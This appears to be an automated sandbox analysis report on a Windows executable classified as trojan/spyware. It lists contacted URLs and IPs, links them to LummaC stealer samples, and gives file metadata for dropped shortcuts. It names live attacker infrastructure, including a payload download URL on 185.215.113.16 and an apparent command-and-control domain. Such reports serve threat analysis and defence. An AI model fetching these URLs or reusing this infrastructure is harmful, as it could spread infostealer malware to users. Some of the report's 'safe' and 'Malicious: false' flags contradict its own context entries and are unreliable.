https://www.ecosia.org/newtab/	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	zhMQ0hNEmb.exe, 00000000.00000003.1497424555.0000000005965000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_93.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_93.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://github.com/adegeo	chromecache_93.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_104.6.dr, chromecache_123.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	zhMQ0hNEmb.exe, 00000000.00000003.1495669308.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	zhMQ0hNEmb.exe, 00000000.00000003.1508673070.00000000056DB000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exeSRrd	zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728980011.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/js-cookie/js-cookie	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqd4plX4pbW1CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	zhMQ0hNEmb.exe, 00000000.00000003.1508571039.00000000056D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728720896.0000000000CBB000.00000004.00000010.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728980011.0000000000F24000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_93.6.dr	false		high
https://fancywaxxers.shop/	zhMQ0hNEmb.exe, 00000000.00000003.1534851683.0000000000F42000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_104.6.dr, chromecache_123.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	zhMQ0hNEmb.exe, 00000000.00000003.1469086031.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468992553.000000000567B000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1468889669.000000000567E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_104.6.dr, chromecache_123.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.112.1	fancywaxxers.shop	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

Private

IP
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582707
Start date and time:	2024-12-31 09:50:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	zhMQ0hNEmb.exe renamed because original name is a hash value
Original Sample Name:	c0cfe2d0e64eb0de9ae473d3cf88d4a9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@9/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.185.195, 184.28.89.167, 216.58.206.46, 74.125.71.84, 95.101.150.2, 142.250.185.110, 2.16.168.102, 2.16.168.100, 142.250.186.78, 142.250.185.206, 192.229.221.95, 216.58.206.74, 172.217.23.106, 172.217.16.202, 142.250.186.42, 216.58.212.138, 142.250.186.138, 142.250.186.74, 172.217.18.10, 142.250.74.202, 172.217.16.138, 142.250.185.106, 142.250.186.106, 142.250.185.74, 216.58.212.170, 142.250.184.234, 142.250.185.138, 172.217.18.14, 142.250.185.238, 142.250.184.238, 172.217.18.110, 199.232.214.172, 172.217.16.195, 216.58.206.78, 142.250.185.78, 20.109.210.53, 13.107.246.45, 184.28.90.27, 23.206.229.209
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, dns.msftncsi.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, www.bing.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:51:07	API Interceptor	8x Sleep call for process: zhMQ0hNEmb.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
185.215.113.16	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/mine/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Launcher.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	GTA-5-Mod-Menu-2025.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	AquaDiscord-2.0.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
s-part-0017.t-0009.t-msedge.net	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	13.107.246.45
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Open Purchase Order Summary Details-16-12-2024.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	Open Purchase Order Summary Sheet.vbs	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45
	xyxmml.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	valyzt.msi	Get hash	malicious	XRed	Browse	13.107.246.45
	Purchase-Order.exe	Get hash	malicious	LodaRAT, XRed	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Bp4LoSXw83.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	heteronymous.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.136.42
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	zku4YyCG6L.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	hca5qDUYZH.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	726odELDs8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	v5Evrl41VR.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	8WFJ38EJo5.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	JpzbUfhXi0.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	o0cabS0OQn.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.112.1
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	PO#5_tower_Dec162024.cmd	Get hash	malicious	DBatLoader	Browse	104.21.112.1
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.112.1
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.112.1
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	Set-up.exe	Get hash	malicious	LummaC, GO Backdoor, LummaC Stealer	Browse	104.21.112.1
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	X-mas_2.3.2.exe	Get hash	malicious	LummaC	Browse	104.21.112.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:51:33 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.969304064509113
Encrypted:	false
SSDEEP:	48:8H+dcT8/hHqidAKZdA1P4ehwiZUklqehwy+3:8HZ4/2OLy
MD5:	25D39CE32A7337150EC6944E49F0BA5F
SHA1:	56B46DF40AA8D0CBD72C30011C6368754592D1E1
SHA-256:	353A6FFA0292568315D667BA6958623066EB8C93A53FBACA1BA12FA8CC02C063
SHA-512:	A7E3AA90FD969B1554386355DAB47103958A375A1B32101CCF5C4A0EBBE3F0DE8BA3D0EA3E5D471C39F375CE099C79EE7E19128D6F7C9F181BCC4E679B07B20D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....I1a[....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.YoF....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YoF....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.YoF....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.YoF.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.YqF...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:51:33 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.986635643122492
Encrypted:	false
SSDEEP:	48:81dcT8/hHqidAKZdA1+4eh/iZUkAQkqeh7y+2:8k4/XF9Qey
MD5:	AAF7E03C75B2C35B80485E6DC7F53CD2
SHA1:	8CF529C530989582A241CCF9F272F45879BE9469
SHA-256:	7CBA206D63CEF6BC9FBCF45790A3999E59D2576DD17624A22CC774FB97D31A71
SHA-512:	4892D523E253873C2825DC53CD60F8CD7527046B2930BED79A5BD84D37673A687503C495AC2DE959B285F1790281DE59029220373E9748D0F14C3A5AD6280C9D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....".:1a[....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.YoF....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YoF....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.YoF....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.YoF.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.YqF...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	3.99615375480011
Encrypted:	false
SSDEEP:	48:8cdcT8VHqidAKZdA1404eh7sFiZUkmgqeh7shy+BX:8L4OInny
MD5:	F090C6597024707025E0082761CA8078
SHA1:	E2AF9821450D58F6F02E647E7B8207A3D50F250D
SHA-256:	0FBE8B3A03231E2DED6F5735248F9A387D151B29F7437237454CCBAC501EC18A
SHA-512:	B4102D76E9108D0EBE2E7E37A73B2FD9529AD3ACCF9C2C1FC9EF86C65EDE817F84F54266712AEECDBC169BFC20520CFE9450F275FAAF1D540C953DBF346F6855
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.YoF....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YoF....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.YoF....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.YoF.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:51:33 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9831887176280047
Encrypted:	false
SSDEEP:	48:8XdcT8/hHqidAKZdA1p4ehDiZUkwqeh/y+R:8K4/A5Zy
MD5:	37A0078FC14FC5B160E6F34DF48EA97F
SHA1:	7E343F677C54E1197A012647D28096182A0A5DBB
SHA-256:	0FC7345883BF1BF25BCDCAD31536F3FCDDB4F5CECC1D3680567AB6E1A75E7EED
SHA-512:	D7E961A8BF11EB4EC0413913D710B7364856118494366BC54F2D453F3F4EEE73B4D095E9B028BD55580CE04639B28542FC3F0D4446C7569F7B07C3519EBE9E64
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......11a[....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.YoF....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YoF....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.YoF....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.YoF.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.YqF...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:51:33 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9735700850661564
Encrypted:	false
SSDEEP:	48:85dcT8/hHqidAKZdA1X4ehBiZUk1W1qeh9y+C:8g4/Ob9dy
MD5:	EFB5267929234144905E0929010C50C3
SHA1:	16A6AE8CFED2E7FEE6ECA314FF674752980C79BC
SHA-256:	C2FD489252DA5D2CA1F50F9EB91F2E27667BB6E80FD2E8BF15CCDD426574A4D8
SHA-512:	8411E75BD10D3D2C80A59C1D92C47F86CB8C79BC46B6CAF8A0B6FD3F1E91486D0E921FE015439986E5E4E9C0706C4380335409DFDEFC52380251E03955766BC5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....B1a[....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I.YoF....B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YoF....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V.YoF....M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V.YoF.............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V.YqF...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 31 07:51:33 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9816438391987665
Encrypted:	false
SSDEEP:	48:8idcT8/hHqidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbny+yT+:814/zTcJTbxWOvTbny7T
MD5:	58CC4CE7DB992E53A1881A4884F5C628
SHA1:	7AB5B76F5996E01E02EF24360BBCB57ED1569868
SHA-256:	52708BCC58E6CAAD1F3B7E9CA7E3DF5FBE82DB258536EBD3A218B942CAD097D8
SHA-512:	0E7E18E66BBB6E750092841DF0587591EC75341038ADF2271A6FF04F98D57141941E69A56B50F79441E6C7459D764D87FCEDC83E967F3B49F5DFF071C033224E
Malicious:	false
